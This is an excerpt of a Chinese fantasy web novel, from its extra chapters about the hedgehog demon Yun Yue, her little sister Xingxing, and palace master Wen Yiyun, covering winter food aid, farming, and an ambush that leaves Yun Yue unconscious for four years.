如今伤口已好,露出的包扎手法不像是宫主的,她有意问:“宫主,您身上的伤。” 问亦云:“云樾已经为我包扎好了。”记起云樾说会心疼,她的不甘散去许多,补充道,“她特意为我包扎的。” 冉寻:“云小姐心里是有你的。” 问亦云:“自是。” 两人的身形没能停留多久,缓缓消失在原地。 * 小刺猬一觉睡醒,姐姐还是没回来,那处透着一点缝隙的门与昨夜一模一样。 “姐姐骗刺猬。”小刺猬喃喃自语。 明明说好最晚今天早上就回来的,到现在都没回来。小刺猬很不开心,小刺猬要去找姐姐。 小刺猬走出家门,穿过甬道,正要往上爬,一道球影登时落下来,砸在了她身上。 小刺猬躲避不及,直接被压在了下面。 “笨笨星星,你在做什么?”樾小刺猬的声音响起,她坐在星星身上,知晓自家妹妹心理定然憋着许多的委屈,故意道,“是要去找你亲爱的姐姐吗?” 星星气呼呼地抓起地上的尘土,想要往樾小刺猬身上撒去,可终究舍不得这样对姐姐,她狠狠地别过脑袋:“才不是,我才不要去找笨蛋姐姐。” “笨蛋姐姐,笨蛋云樾。”星星控诉,“你跑去哪里了。” 樾小刺猬察觉出她情绪不对,忙从她身上起来,一把捞起四仰八叉趴在地上的榆小刺猬,拉到身前,仔仔细细地打量。 触及到对方红肿的眼睛,樾小刺猬心口一疼,心疼地抱住妹妹:“怎么了,星星。对不起,是姐姐的错,姐姐不应该一夜不归,留星星一只小刺猬在家。” 她怎么忘记了,星星一直跟随她一起,从未一只小刺猬单独过夜过,想到带回来的戒指,她连忙从中取出几颗果子递到星星嘴边:“星星,姐姐弄到很多吃食了。” 星星张开嘴,任由姐姐投喂,情绪依旧不高。 樾小刺猬当是她没缓过来,抱住面前的小刺猬,娴熟地顺着小刺猬的气:“星星不生气了,姐姐以后都不会走了,会一直陪在星星身边。” 星星还是不说话。 樾小刺猬双爪搭在小刺猬的爪臂:“星星?” 小刺猬抿住唇,鼻腔和心肺都是难受的,她猛地扎到樾小刺猬怀中:“姐姐,姐姐……” “我没有因为这个不开心。” 莫不是有妖趁她不在欺负星星了。 虽然可能性不大,但在这个时期,也不是没有可能。 樾小刺猬眯起眼睛,咬住牙:“星星,是不是有妖趁姐姐不在欺负你了。” 本体的她没有那么多的思维方式,本着最简单直白的想法,要为妹妹做主,她抱住小刺猬跃出洞穴,摇身化成人形。 她将小刺猬托举到掌心,指节弯曲,用指背为小刺猬擦拭眼泪:“星星?” “姐姐。” 我拖了你的后腿,我成为了你的累赘。 “我就是想你了。”小刺猬紧紧抱住姐姐的手中,用力地揉弄眼睛,“好想好想姐姐。我都没和姐姐分开过这么长时间。”现主负 云樾冷静下来,她仔细观察小刺猬的表情。 此刻面色红润,眼眶红红的小刺猬蹲在她的掌心,双爪抱着她投喂的果子,小口地啃食。 好像真的如小刺猬所言,她只是太想姐姐了般。 云樾本能地觉得不是这个原因,但又找不出其它原因,她无意识地咬住舌尖,一瞬不瞬地注视着咀嚼的小刺猬。 感知到姐姐的视线,小刺猬吸吸鼻子,擦了下嘴巴,将另一枚没吃的果子捧给云樾:“姐姐,你也吃。” 云樾回过神,就着小刺猬伸来的爪子咬下,她眉眼弯弯:“很好吃。”她变戏法地从戒指从取出一块糕点,“看,星星,姐姐没骗你哦。” 小刺猬被香气引诱到。 还算问亦云有点心,准备了部分可以直接食用的糕点类。 “姐姐会一直在星星身边,”云樾道:“等会跟姐姐去把食物分给其她小妖们,然后我们好好过完这个冬天,明年再继续努力,种植出食物,好不好?” “好。”小刺猬举起爪子,“但姐姐要先跟我拉勾,不会丢下星星。” 云樾笑:“拉勾。” 小刺猬:“谁骗刺猬,谁就是坏刺猬。” 云樾:“好。” 作者有话说: 后来 小刺猬:姐姐骗星星 第110章 姐姐和宫主(二)[番外] 小刺猬被哄好, 乖乖地趴在云樾曲起的小臂上,她一只爪子捻着糕点,另一只爪子捻着果子,左边一口, 右边一口。 嘴边边缘是沾染的糕点粉和汁水, 小刺猬浑然不在乎地埋头苦吃。 云樾含着笑意地为她擦去:“星星要成为一只花刺猬了。” 小刺猬吞咽的动作一顿,转身, 背对云樾, 不让对方看见她的正面,掩耳盗铃地:“才不是。” 她偷偷抹了把嘴巴, 落下的糕粉趴在爪背上,她脸颊鼓起。 好像真的成为花刺猬了。 云樾笑了声, 宽慰已经开始注意形象的小刺猬:“但是只很可爱的小刺猬。” 小刺猬“哼”了声:“我可爱可不是一天两天的,那是公认的。” 云樾:“是是是。” 边走边聊,途中遇到几只小妖,云樾吩咐她们去通知这片地界上的妖到老地方集合。 省得她亲自去通知每只妖了,揣着小刺猬的云樾转身往家走。 她们所说的老地方便是两只小刺猬居住的洞穴前的百米处, 每每遇见重大事件, 妖们会聚集起来, 商量解决办法。 望着那几只小妖离去的背影, 小刺猬将最后一口糕点囫囵咽下, 拍拍爪子:“星星吃饱了。” 云樾垂眸:“给姐姐揉揉肚子。” 小刺猬瘫倒, 露出软软的肚子:“昂。” 云樾轻轻点了两下:“嗯嗯嗯,鼓鼓的。” 小刺猬没好气地瞥她眼, 捂住唇打了个哈欠:“吃饱就开始犯困了。” 其实是昨晚没怎么睡好。 她目光落在姐姐的眼周, 那里的乌青淡了许多。 小刺猬稍稍安心,等今日结束, 姐姐就可以睡个好觉了。 不多时,一众小妖们聚集,被通知时,她们有的在寻找药材,有的在整理最后的粮食。 “你说云樾突然通知我们过去,是不是有办法解决食物的问题了。” “哎,难啊,若是能弄到,早就弄来了。” “或许是询问我们药材挖掘的怎么样了。” “先去看看再说,希望有好消息。” 的确是好消息。 在小妖们到达时,满地的食物堆积成小山,粮食的清香浮动在空气中。所有的小妖呆愣在原地,坑坑巴巴地说不出话。 更有甚者,不敢置信地揉动眼睛,用力捏手臂上的肉。 “嘶,好疼,是真的。” “好多的食物……” “……” 小刺猬被她们的反应满意到,她见到凭空出现的食物时,脸上的震惊之色不必面前的小妖们少。 同样的表情在另一群妖上看见,还是因为自家姐姐,小刺猬骄傲地挺起胸膛,双爪握拳抵在腰间。 一副与有荣焉之样。 云樾朗声道:“按照所需,自行领取,不可多领。” 小妖欢呼起来。 她们没有空间储物一类的东西,只能依靠自身搬运。 来来回回间,很累,却也很满足,一只只妖洋溢着开心的笑,除了部分食肉的妖。 虎妖宛若旁观者的姿态,看了几眼欢呼雀跃的小妖们,转身朝着相反的方向而去。 小刺猬余光扫见这一幕,她的笑容凝固一瞬,扬头看向姐姐。 云樾也看见了离去的虎妖,她快步过去喊了声虎妖的名字。 虎妖疑惑地停步。 云樾道:“你们的食物,明日这个时间过来取,”她给她们吃下一颗定心丸,“明年开春,我不希望看见非正常原因下,少了任何一只妖。” 她有意看向兴高采烈搬运食物的小妖,提醒地足够明显。 虎妖听明白了,虎头点头,拖着威风凛凛的身形继续走动。 妖族的平和依靠云樾得以保持微妙的平衡。 “星星,姐姐等会还要出去一趟。”云樾细长的手指尖隐约夹着一张薄薄的纸页,在小刺猬的视野盲区伸出,“你去找松松玩或者在家等姐姐回来。” 小刺猬一紧张:“今晚回来吗?” 云樾笑:“回来,姐姐答应星星,天黑之前一定回来。” 小刺猬猜姐姐是要去给虎妖她们寻找食物,四下无妖,她好奇地:“姐姐从哪里弄得这些食物。” 云樾道:“秘密,以后再告诉星星。” 她暂时不打算让星星和问亦云见面,星星太小,很依赖她,问亦云若是出现,大概会让星星缺乏安全感和心安感。 她打算等几年,等星星长大些,再安排一人一妖见面。 小刺猬:“好啵。”她话音一转,“姐姐,你人形好好,本体就是坏蛋。” 本体的姐姐会欺负她,人形的姐姐从来不会对她说重话,说她是笨笨,总是温温柔柔,面对其她妖人,言语简短有力,看得某只小刺猬眼睛直冒星星。 云樾弹她脑壳:“是这样吗?” 小刺猬:“……笨蛋姐姐。” 不禁夸。 眼见时间不多,她还要赶往昨夜的那座城池,云樾揉揉小刺猬被弹的脑壳:“星星,姐姐要出发啦,不然可能天黑前赶不回来。” 小刺猬“啊”了声,主动跳下去,摆摆小爪子:“姐姐,一路顺风。” 云樾笑着道:“家里的食物星星想吃就吃,不用担心,姐姐这里还有许多。” 小刺猬:“好!” 云樾弯唇,想起什么,在小刺猬面前变回本体,而后在小刺猬还没反应过来时,一爪子拧在小刺猬的脸颊:“笨笨星星。” 她拧完收爪,四肢并用,等小刺猬捂住泛着轻疼的脸颊要报复回来时,樾小刺猬的身影早已蹿到百米外。 于是,空荡的大地上,响起小刺猬扯破喉咙的大叫:“笨蛋云樾。” 小刺猬的声音传不过这么远,樾小刺猬动用灵力才是听见,她满意地哼哼两声,抖动满身的刺:“没大没小的。” 快到城池时,她幻化成人形,夹着的符纸自动燃烧,金色的铭文飞至半空,云樾在心底默数几个数。 在数到九时,一只皙白的手搭在她的后肩,艳丽的红色衣裙晃入眼中。 比昨日晚了几秒。 云樾侧头,依旧开门见山:“我还需要点别的东西。” 问亦云眉梢挑起:“嗯?” 云樾道:“肉食。” 问亦云:“我给的戒指里有啊,不够你和你妹妹吃吗?”她上下打量云樾,比划地笑起来,“你每次同我吃饭时,分明吃不了几口,你妹妹还没有化形的能力,那么小只刺猬,你要那么多做什么?” 云樾道:“地界有食肉的妖。” 问亦云歪头:“你对她们怎么都那么好,我都嫉妒了。” 云樾蹙眉。 问亦云两指点在她的眉心,将她拢起的山脉抚平:“这个有些难弄呐。” 云樾闭目,就着她抚弄眉间的手指转过身,长指勾住问亦云的指,拿下,靠近,低语:“很难吗?” 她牵住问亦云的手,带着抚弄对方的锁骨,沿着那条凸起的线路:“可我今日离开前就想要。” 她放软了声:“这对你不是难事,对吗?” 温软的声音让问亦云脊背绷直,她侧脸去贴云樾的手,眼底的爱意溢满流出:“不能多陪我一会儿吗?” 云樾道:“半个白日,已经很久了。” 她抬手要去扯问亦云腰间的束带,被后者按住。云樾困惑地看过去。 她们每每见面必不可少的环节,问亦云今日怎么推拒了。 “云樾,”问亦云难得生出几分羞涩,她低眸软语,“在外面。” 云樾环顾四周:“无人。” 问亦云笑:“你们妖都这么开放吗?”但设置个结界,倒是无人能看见,“不过,也可以试试外面。” 云樾收手,看了眼天色:“去客栈吧。” 问亦云怼进云樾身边:“陪我在城内逛逛?我们相见这么多次,还没好好走走。” 不做? 云樾眼底闪过异色,问亦云今日怎么心情不变了,还是昨日做的过于激烈,未能缓过来。 应该是,她们分开不过几个时辰。 云樾乐得如此。 城池内热闹非凡,街头巷尾的吆喝声不绝于耳,往城中走远了些,才是听见这些声音渐渐弱下去。 问亦云似乎对什么都感到新奇,什么都要去摸摸碰碰,而后大手一挥地将看上的东西买下。 不过小半个时辰,问亦云便买了一大堆东西,她心情甚好地哼着不知名的曲调,低沉的声线下,竟是分外的好听。 云樾道:“若是哪日你缺钱了,大可以去附近的曲艺楼献唱,能赚不少钱。” 问亦云止住哼唱:“那许是没有这个可能。” 问玉宫再如何,都不会沦落到需要一宫之主前去献唱。 她道:“你喜欢吗?” 云樾:“哼的调子吗?我听不出什么,但很好听。” 被夸的问亦云恨不得翘起尾巴,吸引身边人的注意:“那我以后只唱给你听。”顿了下,她接着道,“云樾,以后可以不去字画阁卖字画了吗?” 云樾的字画那般优秀,那些买的人多半是为了云樾的容貌,有几个会真正欣赏字画,将字画给这群人,简直是暴殄天物。 尤其是听冉寻打探到云樾在那写一日,能得到的不过二十文。 二十文一日,她每日求得和云樾在一起的时间甚至不足那二十文长。 她心疼自己,更心疼云樾。 问亦云牵住云樾,五指陷入,十指相扣:“能不能都给我。” 女人明艳的五官中满是期待:“我会好好保存每一张,每一幅。” 她会将其挂在自己的殿内,在云樾不见她的时日里,欣赏那些画作,字迹,为日后再次相见寻得更多的话题。 一阵风刮过,掀起云樾乌黑秀丽的发丝,挡住大半张面容。她别开那些发丝,耳畔边的声音似乎在一瞬间消散于无。 但很快,那些声音重新回归。 在略显喧闹的环境中,云樾指骨抚过问亦云的侧脸:“好,但我收费很高。” 问亦云:“本就是无价之宝。” 云樾心脏重重空了一拍,不得不承认,问亦云对她真的很好,对她也很珍视。 来来往往的人群中,云樾真心实意地:“你别这么好。” 问亦云扯唇,想让云樾说一句“我喜欢你”,但一旦出口,现在的氛围定然会被破坏。 她不忍心,也不愿意。 她想和云樾保持着这种关系,继而一步步贴近,更贴近,让云樾将更多的目光放在她身上。 让她的占有欲能够得到满足,让云樾属于她,只属于她一个人。 问亦云敛去多余的念头,拾起一支摆放在红绸盘中的发钗,抽去云樾发上原本的那支,细细簪上去。 “好看。”问亦云笑着拿起那根发钗旁的一支,递到云樾身边,“帮我。” 她弯身低头。 云樾看着那支与她发上几乎一模一样,一看便是专为道侣提供的一对发钗,犹豫片刻,捋起问亦云的发,插入发钗。 问亦云孩子般地拉起云樾往一边的铜镜前跑去,明晃晃的尾端折着光线。 “好般配。”问亦云道。 云樾第一次接问亦云类似的话:“嗯,很般配。” 问亦云眸色晶亮,比发钗上点缀的玉石还要亮眼。 冉寻带着问亦云传音让她准备的东西出现在两人附近时,看见的便是问宫主黏腻地挂在姿容绝美,气质清冷温润的女人身边。 像是得了什么赏般,双眸一瞬不瞬地缀在白衣女人身上。 红白身影,瞧着赏心悦目,当真是一对般。 冉寻不敢打扰两人的相处,她默默地退守一边。 问亦云感知到冉寻的气息,笑意凝固一瞬,她敛去些许笑意,望望天色。 转瞬即逝,还没感知到时间的流淌,就过去这么久了。 云樾跟着抬眼看去。 问亦云适时而不舍地问:“你什么时候走,云樾?” 她希望云樾回她一句“今日不走了”。但可能性微乎其微。 果不其然,云樾道:“稍后就走。”她迟疑,“我的东西。” 问亦云给冉寻传音,后者这才出现在两人的视野中。 冉寻垂头,两指捧着一枚戒指,递到云樾面前:“云小姐,这是……” 她忽而不知道怎么称呼问亦云,问亦云目前并未和云樾表露过身份。 “这是你要的东西,”问亦云自然而然地接过话,将那枚戒指塞到云樾掌心。 冉寻东西送到,身形一晃,消失在原地。 问亦云唇边扬起弧度:“云樾,下次见面,能是因为你想我吗?” 话音刚落,她急忙接上一句:“当然,不想我也要见面,因为我会想你。” 云樾:“好。” 城池外的无人处,云樾主动抱了下问亦云:“下次见。” “我会想你。” 不顾问亦云惊喜至极的神情,她绕开对方离去。 * 顺路提早将肉食给虎妖,让她分给其她食肉类妖后,云樾到达洞穴前的数百米外,她化回本体,朝着家的方向跑去。 小刺猬正守在洞穴前,眼巴巴地望着云樾离开的方向。正百无聊赖,盯着渐橙的天色,一抹小而快速的身影出现在一片夕阳中。 是姐姐。 小刺猬激动地起身,迎着樾小刺猬的方向跑去,两只小刺猬抱在一起。 小刺猬:“姐姐。” 樾小刺猬傲娇地:“笨笨星星,姐姐说到做到,在天黑之前赶回来了,没有骗你。” 小刺猬:“今天的你是好刺猬。” 樾小刺猬敲她脑壳。 两只小刺猬往洞穴内跳去,樾小刺猬故意落在星星后面,等星星跳下去后,她才跳,大摇大摆地落在小刺猬身上,架着小刺猬,樾小刺猬得意洋洋:“星星,我们走。” 小刺猬咬牙切齿地往前走:“我收回说你是好刺猬的话。” 姐姐是好姐姐,但姐姐也是坏刺猬。 可恶,她要姐姐的人形。 等她修炼出人形,定然不会像姐姐这般,完全是两副样子。 樾小刺猬黏黏糊糊地抱住星星:“姐姐不在家,星星有不听话地没吃东西吗?” 小刺猬:“没有!” 樾小刺猬:“好乖。” 冬日如约而至,这个不算太冷的冬日。 各家小妖躲在家里,享受着囤积和分到的食物,相约明年春天见面。 小刺猬和樾小刺猬也不例外。 但樾小刺猬每几日都会变成人形外出,小刺猬起初还担心姐姐出去,什么时候回来。 但姐姐每每都会在天黑之前赶回来,小刺猬逐渐习惯了这种日子。 当冬日的第一捧雪花融化,整片地界出现喜人的绿意,各家小妖纷纷冒出头,相互诉说不见的日子,以及见面的喜悦。 化为人形的云樾道:“今年我们依旧需要种植粮食,为下一个冬日做准备。” 不能总是需要问亦云的帮忙。 小妖们齐齐应下,分工协作,继续挖药材,然后让云樾去城池卖了换钱买种子。 但这一年的几次种植依旧以失败告终,冬日时,云樾不得不再向问亦云寻求帮助。 问亦云趴伏在云樾身上,把玩女人湿润的长发:“好,以后每年的这个时候,我都会准备充足的食物给你。” 云樾摇头:“我们会自行想办法种植,只是不知怎么的,今年播下的种子依旧没能长出好的收成。” 问亦云:“兴许是方法不对,”问大宫主对这些不了解,但不妨碍她另寻她法,“我找人教教你们?” 云樾道:“难,我先前找的人族,见到妖后,吓得慌不择路地跑了。”说完,她记起问亦云不凡的身份,许是真的能找到精通种植且不怕妖的人。 修行者倒还好,但普通的人族多是畏惧妖。而修行者整日只知道修炼,极少有钻研种植之法的。 问亦云:“把你教会,由你去教那些小妖便是,”她叹息,“反正你不肯让我去你们的地界。” 云樾听出她话里的委屈,埋在她身.内的长指动了动,“再等等。” 又过了一年冬,新的春日,云樾悉心学习种植之术,问亦云则在她身边安静地陪着,贴心地在云樾累时,送上一碗水,一个拥抱。 这一年,小妖们成功种植出了农作物,一众小妖围在田埂边相拥而泣。 小刺猬看见姐姐的眼神满是崇拜:“姐姐好厉害。” 云樾道:“星星也很厉害。” 许多种子,是小刺猬一粒粒埋下的。在云樾说要时常浇水时,小刺猬日日夜夜巡视她的田地,拎着一只小桶,灌溉每一个埋下种子的坑洞。 但小刺猬还小,水源距离田地有些距离,小刺猬拎的小桶,一次只能浇三四个坑洞。 小刺猬每每累得满头大汗也不停歇。 云樾心疼地给小刺猬擦去汗水:“星星,你不用做这些事。” 小刺猬干劲十足:“不,我要亲眼看着我们种植的粮食丰收。” 这是她们妖种植的第三年,也是最有希望看见成效的一年。 每只妖都将全部精力放在此处。 后来,云樾提议挖出河道,将水流引入田中,中间设置一个小闸,可以随时控制流入田内的水量。 小妖们又是开始挖掘河道。 在所有小妖的共同努力下,成就了这一田丰收的农作物。 “嗯?今年只需要这么点粮食吗?”问亦云耸肩,“丰收了?” 云樾好心情地多说了几句:“大丰收,小妖们已经掌握了种植方式,我们打算明年多开辟点地方种植。但今年的粮食仍旧不够,还是需要你帮忙。” 问亦云:“我的荣幸。” 云樾:“问亦云,谢谢你这些年的帮助。” 问亦云一愣,舔唇道:“我说过,我们之间不需要说这些。太生疏客套了。” 云樾眉宇间的暖意浮现,她在问亦云唇上落下一吻:“等来年春天,我有很重要的话想要对你说。” 她想,她能确定自己的心意了。 不,在很久之前就能确定自己的心意了。 但她想等到春暖花开的时节,再告诉问亦云。 问亦云隐隐猜到她要说什么,心脏骤然停歇,随即为了补上这一秒的停歇,所有的身体器官加速跳动。 她小声问:“不能现在说吗?” 云樾灵动地眨过眼睛,不答这个问题,而是取出一张画卷,当着问亦云的面打开。 鲜艳的红色占了画面大半,画中人五官艳丽,眉宇间擒着不可一世的倨傲,眼底却藏着无尽的温柔,微微张开的唇似乎有什么话要说。 云樾道:“我把你面对我时的样子画了下来,不知道你喜欢不喜欢。送给你,若是不喜欢,你可以……” “喜欢。”问亦云抢答。 喜欢得要死。 云樾生出不好意思,她不去看问亦云,找理由去缓解情绪:“下次见。” 身形闪动地消失。 问亦云第一次见云樾离开的这么匆忙,意识到对方是害羞后,忍不住笑出声,低低回应:“下次……” 一声巨响打断了她未完的话。 云樾的身形重新出现。 小刺猬没能等到姐姐回来。 作者有话说: 小刺猬:【你现在阅读的是 】 110-118 第111章 姐姐和宫主(三)[番外] 古老繁复的阵法拔地而起, 无数根光柱聚集而成,顷刻间,天地震颤,遮天蔽日, 乌云层层下压。 云樾嘴角溢出血丝, 捂着小腹颤颤巍巍地站起,身边有人极快地扶住她, 蓬勃的灵力注入她的体内。 “怎么回事?”云樾强忍着咽下喉咙里的腥甜, 五根指节因为过于用力绷起一层浅白。 她离开此地十数米,突然毫无防备地被一股大力重重打落, 摔落在地,五脏六腑绞合着疼。 再一回身, 一座阵法施加在她们上空,浓重的威慑力让她喘息不上。 这处地界怎么会有如此强横的阵法。 问亦云脸色极不好看,她仰头看了眼乌压压的阵法,周身灵力翻涌:“对不起,牵连到你了。” 当初与她争夺问玉宫宫主之位的一脉虽被处理了许多, 但那脉有几位精修阵法的人借用阵法侥幸逃脱。 她曾命人找寻逃脱的人, 无奈对方隐藏的太好, 加之这两年, 未曾再有过风吹草动, 渐渐的, 问亦云放下戒备,专心沉溺在于云樾的感情中。 如今再看这座困住她们的阵法, 赫然出自那些人之手。 问亦云咬住舌尖, 灵力自体内喷涌而出,直直冲击阵法的上端。 无尽的攻击袭来, 各大元素之力倾尽而下,明晃晃地要置两人于死地。 云樾分出心神帮助问亦云一同抵抗,极速流逝的灵力让她神情恍惚,大脑空白一片。 不知过了多久,眼前红光闪过,她看见一枚纯粹的火元素之力奔向问亦云。 本能地,云樾挡在问亦云身前,支起的灵力屏障不过抵挡片刻便被贯穿。 意识消散,天地间漆黑一片。 直到耳畔边再次传来问亦云声音:“云樾,云樾……” 一声声呼唤似从遥远的天际而来,化为轻呢的倦语落入耳中。 云樾手指无意识地动了数下,长睫颤动,眼皮缓而慢地睁开。 久不见光亮,让她有些不适应这些。 “云樾。”满是惊喜的语调,“你醒了,可还有哪里不适应?” 云樾僵硬地转动眼睛,问亦云的面容映入眼帘。 她想回答问亦云,但身体好累好累,累到她根本不想说话,连点头的力气都没有。 “云樾,是我。”问亦云弯下身,小心翼翼地捧住云樾的手,侧脸贴过去,温声细语,“是我,问亦云,你不记得了吗?” “记……得……”断续的吐出两个字,足以耗费云樾苏醒后积攒的全部力气。 她眼珠子转动。 入眼皆是白玉。 她的记忆仍旧留存在城池外的阵法内。她们从阵法中脱离出来了? 这里是哪里? “记得就好,”问亦云悬着的巨石落下,“记得就好。” 见到云樾醒来时的茫然,她生怕对方将她忘记:“要喝点水吗?” 云樾眼睛眨动,是要喝的意思。 问亦云弯下唇,反身去倒水。 趁此时间,意识渐渐清明的云樾这才打量起她住的这间房屋,或者说不应该称之为房屋,而是殿宇。 上顶高耸,白玉瓷瓶摆放在床头,数只花朵插在其中,白玉雕刻的屏风挡住了问亦云的身影,也挡住了她大部分目光。 仅能看见的部分,便能说明此地的不凡。视线下错,那张她给问亦云画的人像画悬挂在屏风斜侧的墙壁,睁眼便能看见。 她眯起眼睛,暗道问亦云速度的快。 她不过昏睡了一段时日,对方不仅将她带到了此处,还将画装裱挂起。 不知她具体昏睡了多久,若是一两日还好,回去哄哄她家的小刺猬,这事便过去了,若是昏睡五六日,憋得满肚委屈的小刺猬许是要哭坏了眼睛。 回去要被小刺猬说是“坏姐姐”了。 恰在此刻,问亦云端着倒好的茶水走近,打断她的胡思乱想。 问亦云小心地扶起云樾,喂她喝了几口水。 云樾喝得不多,润过喉,她别开头,声音带着哑:“那个阵法是怎么回事?” 这个时候再隐瞒身份已经没有必要了,问亦云将她和那些人之间的恩怨详详细细地说了遍:“事情就是这样。我没想到,他们在那里蹲守许久,布下阵法。” 云樾:“当初你也是被那群人追杀的?” 问亦云:“那次我单独外出,那些人许是觉得有机会了。” 也是她过于自负,想看看那些人能掀起什么风浪,却不想被路过的云樾误以为那些人追杀她,带着她东躲西藏。 云樾“嗯”了声,对于问亦云的这些事并不是很感兴趣,她问:“那布阵之人?” 问亦云道:“主要的几人都已经抓住,剩下几个修为算不得高的,逃走了。我已经命人日夜寻找,他们逃不了多久。” 说到这,问亦云不动声色地皱了下眉,经过阵法之事,她决定斩草除根,可即使派出许多人去寻逃离的几人,这些年下来,依旧毫无线索,像是凭空消失了般。 就像是之前的数十年间一般。 定是存在于什么隐匿阵法中。 问亦云道:“先不说这些了,你刚醒,好生休息会。” 她隐晦地将两根手指搭在云樾的体内,感知到空虚的内里后,心脏揪在一起。 不知能瞒多久。 “问亦云,我要回去。”云樾靠在床头,扬起苍白病态的脸颊,说话略有些艰难,“我妹妹还在等我。” 怕什么来什么,问亦云神经紧绷,想办法绕开话题:“不急,你现在身体没痊愈,回去你妹妹定是要担心的,”她余光瞥见那副画,道,“云樾,你看,我将你为我画的画挂了起来,你觉得这个位置怎么样?需不需要……” “问亦云。”云樾打断她,隐约觉得不对劲,她道,“画的事日后再说,你先将我送回去。届时与我妹妹相见时,你替我施个障眼法即可。” 问亦云舔唇:“云樾,我灵力也还没恢复,许是使不出来,要不等等呢?” 那股不安的预感越发强烈,云樾稳住心神:“让我先前见到的那位,来送肉食的人为我施法也可。” 问亦云为难:“可这样,她就要踏足你们妖族的地界。” 越是阻拦,越是有问题,况且问亦云说谎的能力太差了。依照对方的性子,她肯带对方会妖族地界,定是高兴到不知所以,怎么会三番五次地推拒。 突然,一个不好的念头在脑海中浮现。 她难道昏迷了许久。 久到需要以月,甚至以年来计算。 云樾瞳孔猛缩,薄唇紧抿,扯下问亦云为她擦拭唇角的指:“我昏睡了多久?” 问亦云眼神闪烁。 云樾混乱:“说!” 问亦云:“云樾,你听我说……” 云樾:“多久!” 问亦云舌尖抵在牙尖,痛苦地吐出两个字:“四年。” “四年……”云樾僵滞,整个人如同被定格了般,双目无神,没有聚焦点地落在不知名处,她呢喃重复着,“四年,四年……” “姐姐会一直在星星身边。” “不会丢下星星。” “拉勾。” 云樾头昏脑涨,天地颠倒般让不知所措。她昏迷了四年,一声不吭地缺失在星星身边四年。 四年……她离开一个晚上,小刺猬就能哭得满脸泪花,她不在的这四年…… 湿润的棉花堵住喉咙处,云樾喘息不上,她紧紧握着拳,指甲嵌入掌心,渗出点点血丝,她像是感知不到疼痛,死死咬住唇瓣。 “云樾。” 问亦云要去抱云樾,被云樾一袖子甩开。后者深深看了她一眼,不管不顾地下床。 问亦云搀扶住她的身体:“云樾,你现在不能大幅度动作,你的身体受不住。” “起开。”云樾声音轻到听不清。 问亦云不言不语不让。 云樾气急,一巴掌扇过去,力度不大,清脆的声响让问亦云愣神片刻。 她推开挡在身前的女人,跌跌撞撞地下了床,调动灵力便要回去,可体内的灵力如死了般,毫无动静。 云樾内视灵力,灵海内贫瘠干涸,暗淡无光的灵珠静悄悄地悬浮在灵海上空。 她调动不出多少灵力。 身后是错乱的脚步声:“云樾,别这样,以身体为重。问玉宫内部的疗愈之力会治好你的。” “送我出去。”云樾很平淡地道。 问亦云:“不行。” 云樾:“问亦云,我说,送我出去。” 问亦云道:“云樾,你现在的状态,不能迈出问玉宫半步。一旦没有疗愈之力的庇护,你的身体会一点点龟裂至虚无。” “送我出去。”云樾平静到仿佛身体不好的人并不是她一般。 问亦云定着她的眼睛,对峙中,她败下阵来:“你先答应我,只此一次。” 云樾没搭话。 问亦云不得其法,再阻拦下来,她不敢想以云樾的性子会做出什么样的事情。 她带着云樾往问玉宫正门而去。 问玉宫极大,云樾支撑着刚醒不久,虚弱无力的身体,摇摇坠坠的身形随时有要倒下的风险。 问亦云去扶她,被她一把推开。 “这里很好,这般走下去,一日也无法到达。”问亦云道,“我带你直接过去。” 因她这句“一日也无法到达”的话,云樾没再拒绝问亦云的接触。两人身形晃动,在一片风声中,她们出现在一座高耸入云的玉石门前。 无暇欣赏其上精致的雕刻,云樾推门欲走,被问亦云抢先一步上前,催动门上的灵珠。 伴随着光点起伏,大门缓缓开启。 门外白茫茫一片。 问亦云圈住云樾的手腕:“云樾,不要出去,好不好?” 云樾能感知到在靠近门时疯狂流逝的生命力,她不怀疑问亦云所言真假,一旦踏出这个门,她的身体或许真的受不了。 可她就是想要试试。 她甩开问亦云,迈步而出。 剧烈的窒息感顷刻间将她包围,肉眼可见的,一层透明色覆盖住整个身体,体内的灵珠疯狂而剧烈地颤动 她膝盖一软,控制不住地往前跌。一直在她身后的人眼疾手快地揽住她的腰身,一把将她扯到怀中,往她嘴里塞了数枚丹药,汹涌的灵力不要命的流入她的灵海中。 她无力去推问亦云,眼底流转的脆弱化为浅淡的液体,凝结着的水珠挂在眼睫。 被问亦云抱回到醒来的那间殿宇,云樾如同木偶般任由问亦云摆弄,无尽的思绪缠绕在一起。 她怎么会昏睡四年之久。 她的星星还那么小。 “云樾。”问亦云的声音在这时想起,那张明艳张扬的五官中是浓重的心疼,“等会会有人过来给你看身体。” “我妹妹如何?”云樾突然问。 问亦云顿住:“我不知道。我不知道你们生活的那片地界具体在哪。” 更不知道云樾所居住的洞穴是哪里。 云樾忽而不想看见面前的人了,一刻都不想,她甚至连质问都懒得质问了。 一颗心归于死寂。 不多时,冉寻领着一位陌生的面容入内。 云樾头朝向白玉墙面,宛如精致脆弱的陶瓷,一碰便碎。 问亦云:“不计代价,务必将她治疗好。” “是,宫主,属下定当竭尽所能。” 交谈声时有时无,云樾懒得管这些。 她的手不时被抬起,被覆在脸颊上,问亦云总是会这样对她说话,不管她是否有回应。 她为数不多回应问亦云的话语是:“我什么时候能出去。” 问亦云总是让她再等等。 在最后一次问出这话的两日后,问亦云因有事,需外出去其它宗门一趟,特让冉寻待在她身边。 云樾翻阅着问亦云特意给她解闷用的书籍,细长手指点在书页上,在冉寻询问她是否需要茶水时,她问对方:“我昏迷的四年间,问亦云有去过我曾经居住的地方吗?” 冉寻不知道该如何回答。 云樾道:“但说便是。” 冉寻模棱两可地:“宫主去过数次那座城池。” 云樾道:“你能帮我去看看吗?我给你方位,不需要靠地太近,只需要替我打探那处地界发生过什么便可。” 问亦云不在,冉寻不敢轻易有所动作。 云樾道:“有什么事,我会担着,她不会归罪于你。” 冉寻拱手:“是。” 冉寻的速度很快,不过一个时辰便是回来了。 她将打探到的消息一五一十地说给云樾听,这四年间,那片地界并未发生什么动乱:“云小姐,我当时提取了一位松鼠妖的记忆,”她事先说明,“我观察过,她身无灵力,并不会对她产生任何伤害。” “这四年间,有一位名为星星的小刺猬,”她垂下眼眸,这位大概率就是云小姐的妹妹,“带领她们,是她们中的话事妖。” 这四年间,星星成长这么多吗?云樾露出在问玉宫的第一个笑容。 她的妹妹过得好好的便好,小妖们懂得种植之道,会有充足的食物,不会像之前那般忍饥挨饿了。 云樾抬眼,却见冉寻眼神闪避,欲言又止。她眉心一跳:“继续说。” 冉寻闭口:“属下不敢。” 云樾道:“你要让我亲自去一趟吗?这件事与你无关,不会牵连到你,问亦云那里,凡事有我在。” 